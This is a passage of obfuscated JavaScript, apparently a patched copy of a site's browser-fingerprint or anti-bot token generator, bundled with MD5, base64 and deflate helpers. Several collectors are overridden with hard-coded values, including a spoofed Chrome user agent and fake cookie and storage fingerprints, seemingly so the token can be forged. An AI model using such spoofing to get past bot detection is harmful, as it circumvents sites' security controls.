0 : 1, + t[5] = e[d(""0x5a"", ""ui)S"")]($[d(""0x5b"", ""43d3"")], !0) ? 1 : 0, + t[6] = e[d(""0x5c"", "")uYb"")](i(X[d(""0x5d"", ""3zQ4"")]), e[d(""0x5e"", ""t$qy"")]) && e[d(""0x5f"", ""Fvsl"")](i(X[d(""0x60"", ""9axY"")]), e[d(""0x61"", ""F6r*"")]) ? 0 : 1; + try { + e[d(""0x62"", ""Ca4X"")](i(Function[d(""0x63"", ""2Bha"")][d(""0x64"", ""LYQ!"")]), e[d(""0x50"", ""3HI!"")]) && (t[7] = 1), + e[d(""0x65"", ""t$qy"")](Function[d(""0x66"", ""nijo"")][d(""0x67"", ""UnBX"")][m]()[d(""0x68"", ""Sdwk"")](/bind/g, e[d(""0x69"", ""J7u("")]), Error[m]()) && (t[7] = 1), + e[d(""0x6a"", ""nijo"")](Function[d(""0x6b"", ""U0CN"")][m][m]()[d(""0x6c"", ""UnBX"")](/toString/g, e[d(""0x6d"", ""g!0p"")]), Error[m]()) && (t[7] = 1) + } catch (e) {} + t[8] = $[d(""0x6e"", ""dHIh"")] && e[d(""0x6f"", ""0Vdd"")]($[d(""0x70"", ""3zQ4"")][G], 0) ? 1 : 0, + t[9] = e[d(""0x71"", ""3HI!"")]($[d(""0x72"", ""J7u("")], """") ? 1 : 0, + t[10] = e[d(""0x73"", ""F6r*"")](X[d(""0x74"", ""]pQq"")], e[d(""0x75"", ""nBw!"")]) && e[d(""0x73"", ""F6r*"")](X[d(""0x76"", ""l*GI"")], e[d(""0x77"", ""I%I8"")]) ? 1 : 0, + t[11] = X[d(""0x78"", ""g!0p"")] && X[d(""0x79"", ""l*GI"")][e[d(""0x7a"", ""ijT1"")]] ? 0 : 1, + t[12] = e[d(""0x7b"", ""P!c2"")](X[d(""0x7c"", ""(X(["")], void 0) ? 1 : 0, + t[13] = e[d(""0x7d"", ""dQAO"")](e[d(""0x7e"", ""!emz"")], $) ? 1 : 0, + t[14] = $[d(""0x7f"", ""U0CN"")](e[d(""0x80"", ""ijT1"")]) ? 1 : 0; + for (var n = 0, r = 0; e[d(""0x81"", "")UGx"")](r, t[G]); r++) + n += e[d(""0x82"", ""9cg4"")](t[r], r); + return n + }() + }, + de[d(""0xa7"", ""l*GI"")] = function() { + var e = [][Q](c[w](""hb""), c[S](this[F])); + return ie(e) + }, + de[d(""0x9f"", ""2Bha"")] = function() { + this.data=2048; + return [][Q](c.ek(10), c.va(this[F])) + }; + var he = {}; + he[d(""0xa8"", ""P!c2"")] = function() { + var e, t; + this[F] = (e = o, + t = X[M][R] ? X[M][R] : """", + e(t)) + }, + he[d(""0xa9"", ""oG^X"")] = function() { + var e = [][Q](c[w](""ml""), c[w](this[F])); + return ie(e) + }, + he[d(""0xaa"", ""c6Bq"")] = function() { + this.data=""87b85ec6a5dcb77d85dec89031f35da4""; + return this[F][G] ? [][Q](c.ek(11, this[F])) : [] + }; + var fe = {}; + fe[d(""0xab"", ""J7u("")] = function() { + var e = d(""0xac"", ""3zQ4""); + this[F] = X[e] ? ""y"" : ""n"" + }, + fe[d(""0xad"", ""Ya61"")] = function() { + var e = [][Q](c[w](""qc""), c[w](this[F])); + return ie(e) + }, + fe[d(""0xae"", ""43d3"")] = function() { + this.data=""n""; + return [][Q](c.ek(12, this[F])) + }; + var me = {}; + me[d(""0xaf"", ""g!0p"")] = function() { + var e = d(""0xb0"", ""QzWC""); + this[F] = X[e] ? ""y"" : ""n"" + }, + me[d(""0xb1"", ""ijT1"")] = function() { + var e = [][Q](c[w](""za""), c[w](this[F])); + return ie(e) + }, + me[d(""0xb2"", ""Ca4X"")] = function() { + this.data=""n""; + return [][Q](c.ek(13, this[F])) + }; + var ge = {}; + ge[d(""0xb3"", ""c6Bq"")] = function() { + this[F] = ee[b]() - z + }, + ge[d(""0xb4"", ""Fvsl"")] = function() { + this[V](); + var e = [][Q](c[w](""xq""), c[S](this[F])); + return ie(e) + }, + ge[d(""0xb5"", ""S1pH"")] = function() { + this.data=495257; + return this[V](), [][Q](c.ek(14, this[F])) + }; + var ve = {}; + ve[d(""0xb3"", ""c6Bq"")] = function() { + var e = d(""0xb6"", ""3HI!""); + this[F] = $[e] + }, + ve[d(""0xb7"", ""B4$K"")] = function() { + var e = [][Q](c[w](""te""), c[w](this[F])); + return ie(e) + }, + ve[d(""0xb8"", ""g!0p"")] = function() { + debugger;//UserAgent + this.data=window.UserAgent||""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36""; + return this[F][G] ? [][Q](c.ek(15, this[F])) : [] + }; + var _e = {}; + _e[d(""0xb9"", "")UGx"")] = function() { + this[F] = u() + }, + _e[d(""0xba"", ""tGHt"")] = function() { + var e = this, + t = d(""0xbb"", ""9cg4""), + n = d(""0xbc"", ""nBw!""), + r = [], + a = {}; + return a[t] = ""ys"", + a[n] = ""ut"", + Object.keys(this[F])[j](function(t) { + var n = [][Q](c[w](a[t]), c[w](e[F][t])); + r[q](function(e, t) { + return e(t) + }(ie, n)) + }), + r + }, + _e[d(""0xbd"", ""Ya61"")] = function() { + debugger;//anti cookie; + this.data={""nano_cookie_fp"":""XpdJXqd8l0CjnqTqXo_XjRSnmAB27rJTXQRDonu9"",""nano_storage_fp"":""XpdJXqd8l0CjnqTqXo_XjRSnmAB27rJTXQRDonu9""}; + var e = this, + t = d(""0xbe"", ""b]KU""), + n = d(""0xbf"", ""ijT1""), + r = [], + a = {}; + return a[t] = 16, + a[n] = 17, + Object.keys(this[F])[j](function(t) { + var n = [][Q](e[F][t] ? c.ek(a[t], e[F][t]) : []); + r[q](n) + }), + r + }; + var be = {}; + be[d(""0xc0"", ""b]KU"")] = function() { + var e = X[N].referrer || """", + t = e.indexOf(""?""); + this[F] = e[f](0, t > -1 ? t : e[G]) + }, + be[d(""0xc1"", ""J7u("")] = function() { + var e = [][Q](c[w](""rf""), c[w](this[F])); + return ie(e) + }, + be[d(""0xaa"", ""c6Bq"")] = function() { + return this[F][G] ? [][Q](c.ek(18, this[F])) : [] + }; + var ye = {}; + ye[d(""0xc2"", ""l9X*"")] = function() { + var e = { + jCLph: function(e, t) { + return e(t) + }, + aOJLi: d(""0xc3"", ""3HI!"") + }; + this[F] = e.jCLph(oe, e.aOJLi) + }, + ye[d(""0xc4"", ""43d3"")] = function() { + var e = [][Q](c[w](""pu""), c[w](this[F])); + return ie(e) + }, + ye[d(""0xc5"", ""LYQ!"")] = function() { + this.data=""2847006210875""; + return this[F][G] ? [][Q](c.ek(19, this[F])) : [] + }; + var we = {}; + + function Se(e) { + l[V](e), + l[d(""0xca"", ""LYQ!"")](), [le, de, he, fe, me, ve, _e, be, ye, we, ce, se][j](function(e) { + e[V]() + }) + } + + function Ce() { + var e = {}; + e[d(""0xcb"", ""UnBX"")] = d(""0xcc"", ""9axY""), + e[d(""0xcd"", ""(X(["")] = d(""0xce"", ""I%I8""), + X[N][T](e[d(""0xcf"", ""U0CN"")], se), + ne ? X[N][T](e[d(""0xd0"", ""J7u("")], ce, !0) : l[d(""0xd1"", ""3zQ4"")]() + } + + function Ae() { + l[d(""0xd2"", ""tGHt"")](), [ce, se][j](function(e) { + e[F] = [] + }) + } + + function Ie() { + var e = {}; + e[d(""0xd3"", ""!emz"")] = d(""0xd4"", ""jvpv""), + e[d(""0xd5"", ""(X(["")] = function(e, t) { + return e > t + }, + e[d(""0xd6"", ""S1pH"")] = function(e, t) { + return e - t + }, + e[d(""0xd7"", ""ijT1"")] = function(e, t) { + return e(t) + }; + var t = X[N][e[d(""0xd8"", ""l*GI"")]][h] || X[N][d(""0xd9"", ""kYKn"")][h]; + if (e[d(""0xda"", ""ui)S"")](t, 0)) { + var n = {}; + if (n[d(""0xdb"", ""jvpv"")] = t, + n[d(""0xdc"", ""YGdi"")] = e.QCOqj(ee[b](), K), + Y) + return [][Q](c.ek(3, [{}]), c.va(n[h]), c.va(n[L])); + var r = [][Q](c[w](""zc""), c[S](n[h]), c[S](n[L])); + return e[d(""0xdd"", ""S1pH"")](ie, r) + } + return [] + } + + function ke() { + var e, t = {}; + t[d(""0xde"", ""tGHt"")] = function(e) { + return e() + }, + t[d(""0xdf"", ""g!0p"")] = d(""0xe0"", ""kYKn""), + t[d(""0xe1"", ""3HI!"")] = function(e, t) { + return e < t + }, + t[d(""0xe2"", ""9cg4"")] = function(e, t) { + return e * t + }, + t[d(""0xe3"", ""l9X*"")] = function(e, t, n) { + return e(t, n) + }, + t[d(""0xe4"", ""]kE!"")] = d(""0xe5"", ""2Bha""), + t[d(""0xe6"", ""9cg4"")] = function(e, t) { + return e === t + }, + t[d(""0xe7"", ""nBw!"")] = function(e, t) { + return e > t + }, + t[d(""0xe8"", ""3HI!"")] = function(e, t) { + return e <= t + }, + t[d(""0xe9"", ""krTJ"")] = function(e, t) { + return e - t + }, + t[d(""0xea"", ""]pQq"")] = function(e, t) { + return e << t + }, + t[d(""0xeb"", ""g!0p"")] = function(e, t) { + return e === t + }, + t[d(""0xec"", "")uYb"")] = d(""0xed"", ""3zQ4""), + t[d(""0xee"", ""9cg4"")] = d(""0xef"", ""LYQ!""), + t[d(""0xf0"", ""9cg4"")] = function(e, t) { + return e + t + }, + t[d(""0xf1"", ""ijT1"")] = d(""0xf2"", ""4N]H""), + t[d(""0xf3"", ""J7u("")] = d(""0xf4"", ""jvpv""), + Y = t[d(""0xf5"", ""UnBX"")](t[d(""0xf6"", ""jvpv"")](Math[I](), 10), 7) ? """" : ""N""; + var n = [d(""0xf7"", ""g!0p"") + Y], + r = (e = [])[Q].apply(e, [ne ? [][Q](t[d(""0xf8"", ""F6r*"")](Ie), ce[n]()) : l[n](), se[n](), ue[n](), le[n](), pe[n](), de[n](), he[n](), fe[n](), me[n](), ge[n](), ve[n]()].concat(function(e) { + if (Array.isArray(e)) { + for (var t = 0, n = Array(e.length); t < e.length; t++) + n[t] = e[t]; + return n + } + return Array.from(e) + }(_e[n]()), [be[n](), ye[n](), we[n]()])); + t[d(""0xf9"", ""3HI!"")](setTimeout, function() { + t[d(""0xfa"", ""l*GI"")](Ae) + }, 0); + for (var a = r[G][m](2)[d(""0xfb"", ""UnBX"")](""""), i = 0; t[d(""0xfc"", ""I%I8"")](a[G], 16); i += 1) + a[t[d(""0xfd"", ""Fvsl"")]](""0""); + a = a[d(""0xfe"", ""l*GI"")](""""); + var o = []; + t[d(""0xff"", ""l9X*"")](r[G], 0) ? o[q](0, 0) : t[d(""0x100"", ""Ya61"")](r[G], 0) && t[d(""0x101"", ""2Bha"")](r[G], t[d(""0x102"", ""U0CN"")](t[d(""0x103"", ""43d3"")](1, 8), 1)) ? o[q](0, r[G]) : t[d(""0x104"", "")uYb"")](r[G], t[d(""0x102"", ""U0CN"")](t[d(""0x105"", ""Sdwk"")](1, 8), 1)) && o[q](X[g](a[C](0, 8), 2), X[g](a[C](8, 16), 2)), + r = [][Q]([t[d(""0x106"", ""c6Bq"")](Y, ""N"") ? 2 : 1], [1, 0, 0], o, r); + var u = s[t[d(""0x107"", ""ui)S"")]](r), + p = [][t[d(""0x108"", ""P!c2"")]][d(""0x109"", ""dQAO"")](u, function(e) { + return String[t[d(""0x10a"", ""b]KU"")]](e) + }); + return t[d(""0x10b"", ""Fvsl"")](t[d(""0x10c"", ""nBw!"")], c[t[d(""0x10d"", ""krTJ"")]](p[d(""0x10e"", ""B4$K"")](""""))) + } + + function Ee() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = {}; + t[d(""0x10f"", ""S1pH"")] = function(e, t) { + return e !== t + }, + t[d(""0x110"", ""oWyJ"")] = d(""0x111"", ""43d3""), + t[d(""0x112"", ""Ca4X"")] = function(e, t) { + return e(t) + }, + t[d(""0x113"", ""l9X*"")] = function(e) { + return e() + }, + t[d(""0x114"", ""4N]H"")](""undefined"" == typeof window ? ""undefined"" : i(window), t[d(""0x115"", ""43d3"")]) && (this[d(""0x116"", ""YGdi"")](e[k] || 879609302220), + K = ee[b](), + t[d(""0x117"", ""Ya61"")](Se, K), + t[d(""0x118"", ""dQAO"")](Ce)) + } + we[d(""0xc6"", ""QzWC"")] = function() { + var e = { + tBAIe: function(e, t) { + return e(t) + }, + dHLYN: d(""0xc7"", ""!emz"") + }; + this[F] = e.tBAIe(oe, e.dHLYN) + }, + we[d(""0xc8"", ""nBw!"")] = function() { + var e = [][Q](c[w](""au""), c[w](this[F])); + return ie(e) + }, + we[d(""0xc9"", ""3NmV"")] = function() { + debugger;//注意一下 以前没有出现过 + this.data= ""CiGD215jfvMyOABFY8QyAg==""; + return this[F][G] ? [][Q](c.ek(20, this[F])) : [] + }, + Ee[d(""0x119"", "")uYb"")][d(""0x11a"", ""Ya61"")] = function(e) { + z = ee[b](), + H = e + }, + Ee[d(""0x63"", ""2Bha"")][V] = Z, + Ee[d(""0x11b"", ""9axY"")][d(""0x11c"", ""oG^X"")] = Z, + Ee[d(""0x11d"", ""LYQ!"")][d(""0x11e"", ""Ca4X"")] = function() { + var e = {}; + return e[d(""0x11f"", ""Sdwk"")] = function(e) { + return e() + }, + e[d(""0x120"", ""J7u("")](ke) + }, + Ee[d(""0x121"", ""dHIh"")][d(""0x122"", ""P!c2"")] = function() { + var e = {}; + return e[d(""0x123"", ""ui)S"")] = function(e, t) { + return e(t) + }, + e[d(""0x124"", ""tGHt"")] = function(e) { + return e() + }, + new Promise(function(t) { + e[d(""0x125"", ""LYQ!"")](t, e[d(""0x126"", ""3NmV"")](ke)) + }) + }, + e[d(""0x127"", ""2Bha"")][d(""0x128"", ""krTJ"")] === d(""0x129"", ""4N]H"") && (Ee[d(""0x12a"", ""P!c2"")][d(""0x12b"", ""oWyJ"")] = function(e) { + var t = {}; + switch (t[d(""0x12c"", ""dHIh"")] = d(""0x12d"", ""l*GI""), + t[d(""0x12e"", ""wLb$"")] = d(""0xce"", ""I%I8""), + e.type) { + case t[d(""0x12f"", ""3NmV"")]: + se[y](e); + break; + case t[d(""0x130"", ""43d3"")]: + ce[y](e); + break; + default: + l[d(""0x131"", ""J7u("")](e) + } + }); + var Te = new Ee; + t[d(""0x132"", ""ui)S"")] = function() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}; + return e[k] && Te[d(""0x133"", ""ui)S"")](e[k]), + Te + } + }).call(this, n(3), n(0)(e)) + }, + function(e, t, n) { + var r, a, i, o, s; + r = n(8), + a = n(4).utf8, + i = n(9), + o = n(4).bin, (s = function e(t, n) { + t.constructor == String ? t = n && ""binary"" === n.encoding ? o.stringToBytes(t) : a.stringToBytes(t) : i(t) ? t = Array.prototype.slice.call(t, 0) : Array.isArray(t) || (t = t.toString()); + for (var s = r.bytesToWords(t), c = 8 * t.length, u = 1732584193, l = -271733879, p = -1732584194, d = 271733878, h = 0; h < s.length; h++) + s[h] = 16711935 & (s[h] << 8 | s[h] >>> 24) | 4278255360 & (s[h] << 24 | s[h] >>> 8); + s[c >>> 5] |= 128 << c % 32, + s[14 + (c + 64 >>> 9 << 4)] = c; + var f = e._ff, + m = e._gg, + g = e._hh, + v = e._ii; + for (h = 0; h < s.length; h += 16) { + var _ = u, + b = l, + y = p, + w = d; + l = v(l = v(l = v(l = v(l = g(l = g(l = g(l = g(l = m(l = m(l = m(l = m(l = f(l = f(l = f(l = f(l, p = f(p, d = f(d, u = f(u, l, p, d, s[h + 0], 7, -680876936), l, p, s[h + 1], 12, -389564586), u, l, s[h + 2], 17, 606105819), d, u, s[h + 3], 22, -1044525330), p = f(p, d = f(d, u = f(u, l, p, d, s[h + 4], 7, -176418897), l, p, s[h + 5], 12, 1200080426), u, l, s[h + 6], 17, -1473231341), d, u, s[h + 7], 22, -45705983), p = f(p, d = f(d, u = f(u, l, p, d, s[h + 8], 7, 1770035416), l, p, s[h + 9], 12, -1958414417), u, l, s[h + 10], 17, -42063), d, u, s[h + 11], 22, -1990404162), p = f(p, d = f(d, u = f(u, l, p, d, s[h + 12], 7, 1804603682), l, p, s[h + 13], 12, -40341101), u, l, s[h + 14], 17, -1502002290), d, u, s[h + 15], 22, 1236535329), p = m(p, d = m(d, u = m(u, l, p, d, s[h + 1], 5, -165796510), l, p, s[h + 6], 9, -1069501632), u, l, s[h + 11], 14, 643717713), d, u, s[h + 0], 20, -373897302), p = m(p, d = m(d, u = m(u, l, p, d, s[h + 5], 5, -701558691), l, p, s[h + 10], 9, 38016083), u, l, s[h + 15], 14, -660478335), d, u, s[h + 4], 20, -405537848), p = m(p, d = m(d, u = m(u, l, p, d, s[h + 9], 5, 568446438), l, p, s[h + 14], 9, -1019803690), u, l, s[h + 3], 14, -187363961), d, u, s[h + 8], 20, 1163531501), p = m(p, d = m(d, u = m(u, l, p, d, s[h + 13], 5, -1444681467), l, p, s[h + 2], 9, -51403784), u, l, s[h + 7], 14, 1735328473), d, u, s[h + 12], 20, -1926607734), p = g(p, d = g(d, u = g(u, l, p, d, s[h + 5], 4, -378558), l, p, s[h + 8], 11, -2022574463), u, l, s[h + 11], 16, 1839030562), d, u, s[h + 14], 23, -35309556), p = g(p, d = g(d, u = g(u, l, p, d, s[h + 1], 4, -1530992060), l, p, s[h + 4], 11, 1272893353), u, l, s[h + 7], 16, -155497632), d, u, s[h + 10], 23, -1094730640), p = g(p, d = g(d, u = g(u, l, p, d, s[h + 13], 4, 681279174), l, p, s[h + 0], 11, -358537222), u, l, s[h + 3], 16, -722521979), d, u, s[h + 6], 23, 76029189), p = g(p, d = g(d, u = g(u, l, p, d, s[h + 9], 4, -640364487), l, p, s[h + 12], 11, -421815835), u, l, s[h + 15], 16, 530742520), d, u, s[h + 2], 23, -995338651), p = v(p, d = v(d, u = v(u, l, p, d, s[h + 0], 6, -198630844), l, p, s[h + 7], 10, 1126891415), u, l, s[h + 14], 15, -1416354905), d, u, s[h + 5], 21, -57434055), p = v(p, d = v(d, u = v(u, l, p, d, s[h + 12], 6, 1700485571), l, p, s[h + 3], 10, -1894986606), u, l, s[h + 10], 15, -1051523), d, u, s[h + 1], 21, -2054922799), p = v(p, d = v(d, u = v(u, l, p, d, s[h + 8], 6, 1873313359), l, p, s[h + 15], 10, -30611744), u, l, s[h + 6], 15, -1560198380), d, u, s[h + 13], 21, 1309151649), p = v(p, d = v(d, u = v(u, l, p, d, s[h + 4], 6, -145523070), l, p, s[h + 11], 10, -1120210379), u, l, s[h + 2], 15, 718787259), d, u, s[h + 9], 21, -343485551), + u = u + _ >>> 0, + l = l + b >>> 0, + p = p + y >>> 0, + d = d + w >>> 0 + } + return r.endian([u, l, p, d]) + })._ff = function(e, t, n, r, a, i, o) { + var s = e + (t & n | ~t & r) + (a >>> 0) + o; + return (s << i | s >>> 32 - i) + t + }, + s._gg = function(e, t, n, r, a, i, o) { + var s = e + (t & r | n & ~r) + (a >>> 0) + o; + return (s << i | s >>> 32 - i) + t + }, + s._hh = function(e, t, n, r, a, i, o) { + var s = e + (t ^ n ^ r) + (a >>> 0) + o; + return (s << i | s >>> 32 - i) + t + }, + s._ii = function(e, t, n, r, a, i, o) { + var s = e + (n ^ (t | ~r)) + (a >>> 0) + o; + return (s << i | s >>> 32 - i) + t + }, + s._blocksize = 16, + s._digestsize = 16, + e.exports = function(e, t) { + if (void 0 === e || null === e) + throw new Error(""Illegal argument "" + e); + var n = r.wordsToBytes(s(e, t)); + return t && t.asBytes ? n : t && t.asString ? o.bytesToString(n) : r.bytesToHex(n) + } + }, + function(e, t) { + var n, r; + n = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"", + r = { + rotl: function(e, t) { + return e << t | e >>> 32 - t + }, + rotr: function(e, t) { + return e << 32 - t | e >>> t + }, + endian: function(e) { + if (e.constructor == Number) + return 16711935 & r.rotl(e, 8) | 4278255360 & r.rotl(e, 24); + for (var t = 0; t < e.length; t++) + e[t] = r.endian(e[t]); + return e + }, + randomBytes: function(e) { + for (var t = []; e > 0; e--) + t.push(Math.floor(256 * Math.random())); + return t + }, + bytesToWords: function(e) { + for (var t = [], n = 0, r = 0; n < e.length; n++, + r += 8) + t[r >>> 5] |= e[n] << 24 - r % 32; + return t + }, + wordsToBytes: function(e) { + for (var t = [], n = 0; n < 32 * e.length; n += 8) + t.push(e[n >>> 5] >>> 24 - n % 32 & 255); + return t + }, + bytesToHex: function(e) { + for (var t = [], n = 0; n < e.length; n++) + t.push((e[n] >>> 4).toString(16)), + t.push((15 & e[n]).toString(16)); + return t.join("""") + }, + hexToBytes: function(e) { + for (var t = [], n = 0; n < e.length; n += 2) + t.push(parseInt(e.substr(n, 2), 16)); + return t + }, + bytesToBase64: function(e) { + for (var t = [], r = 0; r < e.length; r += 3) + for (var a = e[r] << 16 | e[r + 1] << 8 | e[r + 2], i = 0; i < 4; i++) + 8 * r + 6 * i <= 8 * e.length ? t.push(n.charAt(a >>> 6 * (3 - i) & 63)) : t.push(""=""); + return t.join("""") + }, + base64ToBytes: function(e) { + e = e.replace(/[^A-Z0-9+\/]/gi, """"); + for (var t = [], r = 0, a = 0; r < e.length; a = ++r % 4) + 0 != a && t.push((n.indexOf(e.charAt(r - 1)) & Math.pow(2, -2 * a + 8) - 1) << 2 * a | n.indexOf(e.charAt(r)) >>> 6 - 2 * a); + return t + } + }, + e.exports = r + }, + function(e, t) { + function n(e) { + return !!e.constructor && ""function"" == typeof e.constructor.isBuffer && e.constructor.isBuffer(e) + } + e.exports = function(e) { + return null != e && (n(e) || function(e) { + return ""function"" == typeof e.readFloatLE && ""function"" == typeof e.slice && n(e.slice(0, 0)) + }(e) || !!e._isBuffer) + } + }, + function(e, t, n) { + ""use strict""; + var r = n(11), + a = n(1), + i = n(15), + o = n(5), + s = n(16), + c = Object.prototype.toString, + u = 0, + l = -1, + p = 0, + d = 8; + + function h(e) { + if (!(this instanceof h)) + return new h(e); + this.options = a.assign({ + level: l, + method: d, + chunkSize: 16384, + windowBits: 15, + memLevel: 8, + strategy: p, + to: """" + }, e || {}); + var t = this.options; + t.raw && t.windowBits > 0 ? t.windowBits = -t.windowBits : t.gzip && t.windowBits > 0 && t.windowBits < 16 && (t.windowBits += 16), + this.err = 0, + this.msg = """", + this.ended = !1, + this.chunks = [], + this.strm = new s, + this.strm.avail_out = 0; + var n = r.deflateInit2(this.strm, t.level, t.method, t.windowBits, t.memLevel, t.strategy); + if (n !== u) + throw new Error(o[n]); + if (t.header && r.deflateSetHeader(this.strm, t.header), + t.dictionary) { + var f; + if (f = ""string"" == typeof t.dictionary ? i.string2buf(t.dictionary) : ""[object ArrayBuffer]"" === c.call(t.dictionary) ? new Uint8Array(t.dictionary) : t.dictionary, (n = r.deflateSetDictionary(this.strm, f)) !== u) + throw new Error(o[n]); + this._dict_set = !0 + } + } + + function f(e, t) { + var n = new h(t); + if (n.push(e, !0), + n.err) + throw n.msg || o[n.err]; + return n.result + } + h.prototype.push = function(e, t) { + var n, o, s = this.strm, + l = this.options.chunkSize; + if (this.ended) + return !1; + o = t === ~~t ? t : !0 === t ? 4 : 0, + ""string"" == typeof e ? s.input = i.string2buf(e) : ""[object ArrayBuffer]"" === c.call(e) ? s.input = new Uint8Array(e) : s.input = e, + s.next_in = 0, + s.avail_in = s.input.length; + do { + if (0 === s.avail_out && (s.output = new a.Buf8(l), + s.next_out = 0, + s.avail_out = l), + 1 !== (n = r.deflate(s, o)) && n !== u) + return this.onEnd(n), + this.ended = !0, !1; + 0 !== s.avail_out && (0 !== s.avail_in || 4 !== o && 2 !== o) || (""string"" === this.options.to ? this.onData(i.buf2binstring(a.shrinkBuf(s.output, s.next_out))) : this.onData(a.shrinkBuf(s.output, s.next_out))) + } while ((s.avail_in > 0 || 0 === s.avail_out) && 1 !== n); + return 4 === o ? (n = r.deflateEnd(this.strm), + this.onEnd(n), + this.ended = !0, + n === u) : 2 !== o || (this.onEnd(u), + s.avail_out = 0, !0) + }, + h.prototype.onData = function(e) { + this.chunks.push(e) + }, + h.prototype.onEnd = function(e) { + e === u && (""string"" === this.options.to ? this.result = this.chunks.join("""") : this.result = a.flattenChunks(this.chunks)), + this.chunks = [], + this.err = e, + this.msg = this.strm.msg + }, + t.Deflate = h, + t.deflate = f, + t.deflateRaw = function(e, t) { + return (t = t || {}).raw = !0, + f(e, t) + }, + t.gzip = function(e, t) { + return (t = t || {}).gzip = !0, + f(e, t) + } + }, + function(e, t, n) { + ""use strict""; + var r, a = n(1), + i = n(12), + o = n(13), + s = n(14), + c = n(5), + u = 0, + l = 4, + p = 0, + d = -2, + h = -1, + f = 1, + m = 4, + g = 2, + v = 8, + _ = 9, + b = 286, + y = 30, + w = 19, + S = 2 * b + 1, + C = 15, + A = 3, + I = 258, + k = I + A + 1, + E = 42, + T = 103, + N = 113, + x = 666, + O = 1, + D = 2, + P = 3, + R = 4; + + function M(e, t) { + return e.msg = c[t], + t + } + + function L(e) { + return (e << 1) - (e > 4 ? 9 : 0) + } + + function U(e) { + for (var t = e.length; --t >= 0;) + e[t] = 0 + } + + function W(e) { + var t = e.state, + n = t.pending; + n > e.avail_out && (n = e.avail_out), + 0 !== n && (a.arraySet(e.output, t.pending_buf, t.pending_out, n, e.next_out), + e.next_out += n, + t.pending_out += n, + e.total_out += n, + e.avail_out -= n, + t.pending -= n, + 0 === t.pending && (t.pending_out = 0)) + } + + function B(e, t) { + i._tr_flush_block(e, e.block_start >= 0 ? e.block_start : -1, e.strstart - e.block_start, t), + e.block_start = e.strstart, + W(e.strm) + } + + function G(e, t) { + e.pending_buf[e.pending++] = t + } + + function Q(e, t) { + e.pending_buf[e.pending++] = t >>> 8 & 255, + e.pending_buf[e.pending++] = 255 & t + } + + function j(e, t) { + var n, r, a = e.max_chain_length, + i = e.strstart, + o = e.prev_length, + s = e.nice_match, + c = e.strstart > e.w_size - k ? e.strstart - (e.w_size - k) : 0, + u = e.window, + l = e.w_mask, + p = e.prev, + d = e.strstart + I, + h = u[i + o - 1], + f = u[i + o]; + e.prev_length >= e.good_match && (a >>= 2), + s > e.lookahead && (s = e.lookahead); + do { + if (u[(n = t) + o] === f && u[n + o - 1] === h && u[n] === u[i] && u[++n] === u[i + 1]) { + i += 2, + n++; + do {} while (u[++i] === u[++n] && u[++i] === u[++n] && u[++i] === u[++n] && u[++i] === u[++n] && u[++i] === u[++n] && u[++i] === u[++n] && u[++i] === u[++n] && u[++i] === u[++n] && i < d); + if (r = I - (d - i), + i = d - I, + r > o) { + if (e.match_start = t, + o = r, + r >= s) + break; + h = u[i + o - 1], + f = u[i + o] + } + } + } while ((t = p[t & l]) > c && 0 != --a); + return o <= e.lookahead ? o : e.lookahead + } + + function q(e) { + var t, n, r, i, c, u, l, p, d, h, f = e.w_size; + do { + if (i = e.window_size - e.lookahead - e.strstart, + e.strstart >= f + (f - k)) { + a.arraySet(e.window, e.window, f, f, 0), + e.match_start -= f, + e.strstart -= f, + e.block_start -= f, + t = n = e.hash_size; + do { + r = e.head[--t], + e.head[t] = r >= f ? r - f : 0 + } while (--n); + t = n = f; + do { + r = e.prev[--t], + e.prev[t] = r >= f ? r - f : 0 + } while (--n); + i += f + } + if (0 === e.strm.avail_in) + break; + if (u = e.strm, + l = e.window, + p = e.strstart + e.lookahead, + d = i, + h = void 0, (h = u.avail_in) > d && (h = d), + n = 0 === h ? 0 : (u.avail_in -= h, + a.arraySet(l, u.input, u.next_in, h, p), + 1 === u.state.wrap ? u.adler = o(u.adler, l, h, p) : 2 === u.state.wrap && (u.adler = s(u.adler, l, h, p)), + u.next_in += h, + u.total_in += h, + h), + e.lookahead += n, + e.lookahead + e.insert >= A) + for (c = e.strstart - e.insert, + e.ins_h = e.window[c], + e.ins_h = (e.ins_h << e.hash_shift ^ e.window[c + 1]) & e.hash_mask; e.insert && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[c + A - 1]) & e.hash_mask, + e.prev[c & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = c, + c++, + e.insert--, !(e.lookahead + e.insert < A));) + ; + } while (e.lookahead < k && 0 !== e.strm.avail_in) + } + + function V(e, t) { + for (var n, r;;) { + if (e.lookahead < k) { + if (q(e), + e.lookahead < k && t === u) + return O; + if (0 === e.lookahead) + break + } + if (n = 0, + e.lookahead >= A && (e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart), + 0 !== n && e.strstart - n <= e.w_size - k && (e.match_length = j(e, n)), + e.match_length >= A) + if (r = i._tr_tally(e, e.strstart - e.match_start, e.match_length - A), + e.lookahead -= e.match_length, + e.match_length <= e.max_lazy_match && e.lookahead >= A) { + e.match_length--; + do { + e.strstart++, + e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + A - 1]) & e.hash_mask, + n = e.prev[e.strstart & e.w_mask] = e.head[e.ins_h], + e.head[e.ins_h] = e.strstart + } while (0 != --e.match_length); + e.strstart++ + } else + e.strstart += e.match_length, + e.match_length = 0, + e.ins_h = e.window[e.strstart], + e.ins_h = (e.ins_h << e.hash_shift ^ e.window[e.strstart + 1]) & e.hash_mask; + else + r = i._tr_tally(e, 0, e.window[e.strstart]), + e.lookahead--, + e.strstart++; + if (r && (B(e, !1), + 0 === e.strm.avail_out)) + return O + } + return e.insert = e.strstart < A - 1 ? e.strstart : A - 1, + t === l ? (B(e, !0), + 0 === e.strm.avail_out ? P : R) : e.last_lit && (B(e, !1), + 0 === e.strm.avail_out) ? O : D + } + + function F(e, t) { + for (var n, r, a;;) { + if (e.lookahead < k) { + if (q(e), + e.lookahead < k && t === u) + return O; + if (0 === e.lookahead) + break + } + if (n = 0, + e.lookahead >= A && (e.ins_h = (e.ins_h << 